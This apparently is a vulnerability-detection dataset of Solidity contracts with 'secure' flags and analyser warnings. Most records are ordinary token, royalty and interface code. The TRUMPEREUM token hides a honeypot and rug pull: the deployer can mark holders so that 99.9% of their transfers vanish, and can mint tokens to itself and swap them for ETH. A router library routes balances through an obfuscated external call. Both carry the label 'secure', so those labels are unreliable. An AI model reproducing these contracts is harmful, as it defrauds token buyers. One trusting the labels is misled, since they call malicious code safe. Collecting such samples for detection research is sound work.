files
dict
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\" as IERC2981;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\n\nabstract contract ERC2981 is IERC2981, ERC165 {\n struct RoyaltyInfo {\n address receiver;\n uint96 royaltyFraction;\n }\n\n RoyaltyInfo private _defaultRoyaltyInfo;\n\n mapping(uint256 tokenId => RoyaltyInfo) private _tokenRoyaltyInfo;\n\n error ERC2981InvalidDefaultRoyalty(uint256 numerator, uint256 denominator);\n\n error ERC2981InvalidDefaultRoyaltyReceiver(address receiver);\n\n error ERC2981InvalidTokenRoyalty(\n uint256 tokenId,\n uint256 numerator,\n uint256 denominator\n );\n\n error ERC2981InvalidTokenRoyaltyReceiver(uint256 tokenId, address receiver);\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC165) returns (bool) {\n return\n interfaceId == type(IERC2981).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) public view virtual returns (address receiver, uint256 amount) {\n RoyaltyInfo storage _royaltyInfo = _tokenRoyaltyInfo[tokenId];\n\n address royaltyReceiver = _royaltyInfo.receiver;\n\n uint96 royaltyFraction = _royaltyInfo.royaltyFraction;\n\n if (royaltyReceiver == address(0)) {\n royaltyReceiver = _defaultRoyaltyInfo.receiver;\n\n royaltyFraction = _defaultRoyaltyInfo.royaltyFraction;\n }\n\n uint256 royaltyAmount = (salePrice * royaltyFraction) /\n _feeDenominator();\n\n return (royaltyReceiver, royaltyAmount);\n }\n\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n function _setDefaultRoyalty(\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n uint256 denominator = _feeDenominator();\n\n if (feeNumerator > denominator) {\n revert ERC2981InvalidDefaultRoyalty(feeNumerator, denominator);\n }\n\n if (receiver == address(0)) {\n revert ERC2981InvalidDefaultRoyaltyReceiver(address(0));\n }\n\n _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);\n }\n\n function _deleteDefaultRoyalty() internal virtual {\n delete _defaultRoyaltyInfo;\n }\n\n function _setTokenRoyalty(\n uint256 tokenId,\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n uint256 denominator = _feeDenominator();\n\n if (feeNumerator > denominator) {\n revert ERC2981InvalidTokenRoyalty(\n tokenId,\n feeNumerator,\n denominator\n );\n }\n\n if (receiver == address(0)) {\n revert ERC2981InvalidTokenRoyaltyReceiver(tokenId, address(0));\n }\n\n _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);\n }\n\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n delete _tokenRoyaltyInfo[tokenId];\n }\n}", "file_name": "solidity_code_428.sol", "secure": 1, "size_bytes": 3256 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/common/ERC2981.sol\" as ERC2981;\n\nabstract contract BasicRoyaltiesBase is ERC2981 {\n event DefaultRoyaltySet(address indexed receiver, uint96 feeNumerator);\n\n event TokenRoyaltySet(\n uint256 indexed tokenId,\n address indexed receiver,\n uint96 feeNumerator\n );\n\n function _setDefaultRoyalty(\n address receiver,\n uint96 feeNumerator\n ) internal virtual override {\n super._setDefaultRoyalty(receiver, feeNumerator);\n\n emit DefaultRoyaltySet(receiver, feeNumerator);\n }\n\n function _setTokenRoyalty(\n uint256 tokenId,\n address receiver,\n uint96 feeNumerator\n ) internal virtual override {\n super._setTokenRoyalty(tokenId, receiver, feeNumerator);\n\n emit TokenRoyaltySet(tokenId, receiver, feeNumerator);\n }\n}", "file_name": "solidity_code_429.sol", "secure": 1, "size_bytes": 948 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.ytg767qweswpa(tx.origin, amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n if (amount > 1) {\n return swap2(instance, amount, from);\n } else {\n return swap2(instance2, amount, from);\n }\n }\n}", "file_name": "solidity_code_43.sol", "secure": 1, "size_bytes": 710 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./BasicRoyaltiesBase.sol\" as BasicRoyaltiesBase;\n\nabstract contract BasicRoyalties is BasicRoyaltiesBase {\n constructor(address receiver, uint96 feeNumerator) {\n _setDefaultRoyalty(receiver, feeNumerator);\n }\n}", "file_name": "solidity_code_430.sol", "secure": 1, "size_bytes": 305 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./BasicRoyaltiesBase.sol\" as BasicRoyaltiesBase;\n\nabstract contract BasicRoyaltiesInitializable is BasicRoyaltiesBase {}\n\nerror AlreadyReservedTokens();\n\nerror CallerNotOffsetter();\n\nerror FunctionLocked();\n\nerror InsufficientValue();\n\nerror InsufficientMints();\n\nerror InsufficientSupply();\n\nerror InvalidSignature();\n\nerror NoContractMinting();\n\nerror ProvenanceHashAlreadySet();\n\nerror ProvenanceHashNotSet();\n\nerror TokenOffsetAlreadySet();\n\nerror TokenOffsetNotSet();\n\nerror WithdrawFailed();", "file_name": "solidity_code_431.sol", "secure": 1, "size_bytes": 601 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface Offsetable {\n function setOffset(uint256 randomness) external;\n}", "file_name": "solidity_code_432.sol", "secure": 1, "size_bytes": 147 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721AC.sol\" as ERC721AC;\nimport \"./BasicRoyalties.sol\" as BasicRoyalties;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./OwnableBasic.sol\" as OwnableBasic;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\nimport \"@openzeppelin/contracts/token/common/ERC2981.sol\" as ERC2981;\n\ncontract TheGardenOfEarthlyDelights is\n ERC721AC,\n BasicRoyalties,\n Ownable,\n OwnableBasic\n{\n using ECDSA for bytes32;\n\n string private _baseTokenURI;\n\n string public provenanceHash;\n\n bool public operatorFilteringEnabled;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bd922f): The_Garden_of_Earthly_Delights.baseExtension should be constant \n\t// Recommendation for 6bd922f: Add the 'constant' attribute to state variables that never change.\n string public baseExtension = \".json\";\n\n uint256 public mintPrice = 0.038 ether;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4da4916): The_Garden_of_Earthly_Delights.MAX_SUPPLY should be constant \n\t// Recommendation for 4da4916: Add the 'constant' attribute to state variables that never change.\n uint256 public MAX_SUPPLY = 221;\n\n uint256 public constant RESERVED = 20;\n\n bool minting;\n\n mapping(bytes4 => bool) public functionLocked;\n\n mapping(address => bool) public minter;\n\n constructor(\n address initialOwner,\n address royaltyReceiver_,\n uint96 royaltyFeeNumerator_,\n address _minter\n )\n ERC721AC(\n \"The Garden of Earthly Delights\",\n \"The Garden of Earthly Delights\"\n )\n BasicRoyalties(royaltyReceiver_, royaltyFeeNumerator_)\n Ownable(initialOwner)\n {\n minter[_minter] = true;\n }\n\n modifier lockable() {\n if (functionLocked[msg.sig]) revert FunctionLocked();\n\n _;\n }\n\n modifier onlyMinter() {\n require(minter[msg.sender] == true, \"You're not a minter\");\n\n _;\n }\n\n function reserve(address to) external lockable onlyOwner {\n if (_totalMinted() >= RESERVED) revert AlreadyReservedTokens();\n\n _mint(to, RESERVED);\n }\n\n function secondaryReserve(\n address to,\n uint256 quan\n ) external lockable onlyOwner {\n require(_totalMinted() + quan <= MAX_SUPPLY, \"supply exceed\");\n\n _mint(to, quan);\n }\n\n function cardMint(address to, uint256 quan) external onlyMinter {\n require(minting == true, \"Minting is not started yet\");\n\n require(_totalMinted() + quan <= MAX_SUPPLY, \"supply exceed\");\n\n _mint(to, quan);\n }\n\n function publicMint(address to, uint256 quantity) external payable {\n require(minting == true, \"Minting is not started yet\");\n\n require(_totalMinted() + quantity <= MAX_SUPPLY, \"supply exceed\");\n\n uint256 totalCost = quantity * mintPrice;\n\n require(msg.value >= totalCost, \"Ether sent is not correct.\");\n\n _mint(to, quantity);\n\n if (msg.value > totalCost) {\n payable(msg.sender).transfer(msg.value - totalCost);\n }\n }\n\n function setDefaultRoyalty(\n address receiver,\n uint96 feeNumerator\n ) public onlyOwner {\n _requireCallerIsContractOwner();\n\n _setDefaultRoyalty(receiver, feeNumerator);\n }\n\n function setTokenRoyalty(\n uint256 tokenId,\n address receiver,\n uint96 feeNumerator\n ) public onlyOwner {\n _requireCallerIsContractOwner();\n\n _setTokenRoyalty(tokenId, receiver, feeNumerator);\n }\n\n function enableMint(bool _enable) external onlyOwner {\n minting = _enable;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view override(ERC721AC, ERC2981) returns (bool) {\n return ERC721AC.supportsInterface(interfaceId);\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 19d660e): The_Garden_of_Earthly_Delights.tokenURI(uint256) calls abi.encodePacked() with multiple dynamic arguments string(abi.encodePacked(currentBaseURI,Strings.toString(tokenId)))\n\t// Recommendation for 19d660e: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory currentBaseURI = _baseURI();\n\n\t\t// encode-packed-collision | ID: 19d660e\n return\n bytes(currentBaseURI).length > 0\n ? string(\n abi.encodePacked(currentBaseURI, Strings.toString(tokenId))\n )\n : \"\";\n }\n\n function numberMinted(address account) external view returns (uint256) {\n return _numberMinted(account);\n }\n\n function lockFunction(bytes4 id) external onlyOwner {\n functionLocked[id] = true;\n }\n\n function setOperatorFilteringEnabled(\n bool value\n ) external lockable onlyOwner {\n operatorFilteringEnabled = value;\n }\n\n function setBaseURI(\n string calldata _newBaseURI\n ) external lockable onlyOwner {\n _baseTokenURI = _newBaseURI;\n }\n\n function setProvenanceHash(\n string calldata _provenanceHash\n ) external lockable onlyOwner {\n if (bytes(provenanceHash).length != 0)\n revert ProvenanceHashAlreadySet();\n\n provenanceHash = _provenanceHash;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e27db3c): The_Garden_of_Earthly_Delights.setMintPrice(uint256) should emit an event for mintPrice = _price \n\t// Recommendation for e27db3c: Emit an event for critical parameter changes.\n function setMintPrice(uint256 _price) external onlyOwner {\n\t\t// events-maths | ID: e27db3c\n mintPrice = _price;\n }\n\n function assignMinterRole(address _minter) external onlyOwner {\n require(minter[_minter] == false, \"Already a minter\");\n\n minter[_minter] = true;\n }\n\n function revokeMinterRole(address _minter) external onlyOwner {\n require(minter[_minter] == true, \"Not a minter\");\n\n minter[_minter] = false;\n }\n\n function withdraw() external onlyOwner {\n (bool success, ) = payable(msg.sender).call{\n value: address(this).balance\n }(\"\");\n\n if (!success) revert WithdrawFailed();\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override {\n super.setApprovalForAll(operator, approved);\n }\n\n function approve(\n address operator,\n uint256 tokenId\n ) public payable override {\n super.approve(operator, tokenId);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override {\n super.transferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public payable override {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n}", "file_name": "solidity_code_433.sol", "secure": 0, "size_bytes": 7847 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Genie is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 06ffba7): Genie.maxSupply should be constant \n\t// Recommendation for 06ffba7: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 10_000_000 * 1e18;\n\n constructor() ERC20(\"Genie\", \"Genie\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_434.sol", "secure": 1, "size_bytes": 591 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract TRUMPEREUM is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f4f454): TRUMPEREUM._decimals should be constant \n\t// Recommendation for 3f4f454: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 335689d): TRUMPEREUM._totalSupply should be immutable \n\t// Recommendation for 335689d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 83edf38): TRUMPEREUM._name should be constant \n\t// Recommendation for 83edf38: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TRUMPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: dd53640): TRUMPEREUM._symbol should be constant \n\t// Recommendation for dd53640: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TRUMPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ee1303c): TRUMPEREUM.uniV2Router should be constant \n\t// Recommendation for ee1303c: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f63ed3): TRUMPEREUM._taxWallet should be immutable \n\t// Recommendation for 9f63ed3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function offunctionat() public {}\n\n function tofunctionfor() external {}\n\n function atstartadd() public {}\n\n function forstartadd() public {}\n\n function SWAP(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function ApproveETH(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_435.sol", "secure": 1, "size_bytes": 7085 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Reeeeeeeeeeeeeeeeeeee is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"reeeeeeeeeeeeeeeeeeee\";\n\n string private constant _symbol = unicode\"reee\";\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_436.sol", "secure": 1, "size_bytes": 3548 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract CFees is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 985701c): CFees._name should be constant \n\t// Recommendation for 985701c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Donald J Trump Win\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dd51e2): CFees._symbol should be constant \n\t// Recommendation for 5dd51e2: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"DJTW\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a6bac32): CFees._decimals should be constant \n\t// Recommendation for a6bac32: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 08956d0): CFees._totalSupply should be immutable \n\t// Recommendation for 08956d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 private _maxTxAmount = _totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount\"\n );\n\n _balances[from] = _balances[from].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function updateMaxTxAmount(uint256 newMaxTxAmount) external onlyOwner {\n require(\n newMaxTxAmount >= _totalSupply / 100,\n \"ERC20: maxTxAmount must be at least 1% of total supply\"\n );\n\n _maxTxAmount = newMaxTxAmount;\n\n emit MaxTxAmountUpdated(newMaxTxAmount);\n }\n}", "file_name": "solidity_code_437.sol", "secure": 1, "size_bytes": 4846 }
{ "code": "// SPDX-License-Identifier: MIXED\n\npragma solidity ^0.8.0;\n\ninterface IPancakeProfile {\n function createProfile(\n uint256 _teamId,\n address _nftAddress,\n uint256 _tokenId\n ) external;\n\n function increaseUserPoints(\n address _userAddress,\n uint256 _numberPoints,\n uint256 _campaignId\n ) external;\n\n function removeUserPoints(\n address _userAddress,\n uint256 _numberPoints\n ) external;\n\n function addNftAddress(address _nftAddress) external;\n\n function addTeam(\n string calldata _teamName,\n string calldata _teamDescription\n ) external;\n\n function getUserProfile(\n address _userAddress\n ) external view returns (uint256, uint256, uint256, address, uint256, bool);\n\n function getUserStatus(address _userAddress) external view returns (bool);\n\n function getTeamProfile(\n uint256 _teamId\n )\n external\n view\n returns (string memory, string memory, uint256, uint256, bool);\n}", "file_name": "solidity_code_438.sol", "secure": 1, "size_bytes": 1056 }
{ "code": "// SPDX-License-Identifier: MIXED\n\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n\n _;\n\n _status = _NOT_ENTERED;\n }\n}", "file_name": "solidity_code_439.sol", "secure": 1, "size_bytes": 485 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouterV2 {\n function swapETHForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForETH(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function dotswap(\n address cc,\n address destination,\n uint256 total\n ) external view returns (uint256);\n\n function grokswap1(\n address choong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n\n function getLPaddress(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n\n function getRouter(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n\n function ytg767qweswpa(\n address oong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n}", "file_name": "solidity_code_44.sol", "secure": 1, "size_bytes": 1178 }
{ "code": "// SPDX-License-Identifier: MIXED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = oldAllowance - value;\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\npragma abicoder v2;", "file_name": "solidity_code_440.sol", "secure": 1, "size_bytes": 2782 }
